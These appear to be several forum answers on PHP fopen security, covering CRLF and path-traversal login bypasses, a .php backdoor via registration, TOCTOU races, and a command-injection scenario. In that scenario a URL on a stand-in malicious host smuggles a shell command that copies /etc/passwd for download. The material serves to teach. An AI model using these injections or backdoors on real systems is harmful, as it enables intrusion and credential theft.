I think they're referring to the CRLF vulnerability.

In your sample exploit code, you're passing some php code, but that's not what you would do.

The goal is to make fopen open a file from the internet. If the $email variable contains two strings separated by a CRLF, you can have fopen() visit an external website there where it's not supposed to.

All depending on what happens with the $fh file descriptor after, it will determine how you will take advantage of that.

Here's a link I found on that vulnerability: http://www.securiteam.com/unixfocus/5OP0C0A8AC.html

EDIT after you posted more code:

We're starting with that you can force $password to the value you want.

So the name of the game is forcing $pass to the value you want, such that strcmp returns true, and you get logged in without knowing any password.

$pass is controlled in that last statement $pass = fgets($fh)

And if you use the CRLF vulnerability to point fopen to open a URL that you host, e.g. http://your.ip.address/your-file, and inside that file, you set the same data as you set in $password. And that should allow you to login without registration.

But there are some weird things in the code, e.g. :

$last = fgets(first = fgets(pass = fgets($fh);

Seems like the code might not be complete, because here the values of $last, $first and $pass will always all be the same which makes no sense. That would be one vector to consider.

Possibility #2 - File traversal:

Using ../ inside your $email variable, you will be able to access a different file in fopen that it outside the acounts/ folder.

If you run:

<?php
$fh = fopen("acounts/../../test.sh","r");
?>

It evaluates successfully and looks for two folders up for the contents of test.sh. So you can probe the contents of the file system via the $email variable. Then the name of the game is finding a standard file which you know the contents for, feed it in $password, and you can login the system without registration.

Possibility #3 - Register an email address ending with .php:

As mentioned by drew010, assuming you are allowed to register a custom account, then by registering an $email ending in .php, and putting eval() php code inside $password when registering your account, that will create a backdoor file inside acounts/ named after your $email that you can access via the web.

A call to fopen is not in itself a TOCTOU vulnerability. By definition, TOCTOU involves two operations: a “check” and a “use”.

A common example of TOCTOU vulnerability is checking access permissions with access before opening a file. It's a bug (race condition) because the permissions might change between checking and opening, and it's usually a vulnerability because file permissions are important for security.

The access system call is highly suspicious because there aren't many ways to use it that don't introduce a TOCTOU. The fopen call in itself is not particularly suspicious because there are many ways to use it that are safe. However this doesn't mean that access is the only way to make a TOCTOU with fopen.

An example of race condition that can occur when opening files is if you got the file name from some external source, and you make assumptions about that name. For example, if you build the argument to fopen by concatenating a directory name with a file name, and you've made some checks on the directory, that's a TOCTOU vulnerability as well. The checks on the directory may no longer be valid by the time you use the directory to open a file. That's why Linux has the openat system call: so you can call opendir on a directory, perform checks on the directory, then call openat to open a file inside that directory (whereas open with concatenated names would open a file in a directory which now has this name, but may not be the one you checked).

So yes, you do need to care. Your code may or may not have a vulnerability. In my very limited experience, Klocwork does have a lot of false positives, but not everything is a false positive. Start by reading the complete message carefully. Review your code carefully, with written-down security objectives, and track how these security objectives are met (or not). There's no miracle: writing correct and secure code is harder than just applying a checklist.

A sample attack scenario using allow_url_fopen that allows me to download your password file:

1. Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
2. I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
3. Your app uses allow_url_fopen to download the file and stores it as "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename.
4. Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
5. What does exec actually execute? If you haven't sanitized the filename, then it executes the following on the shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.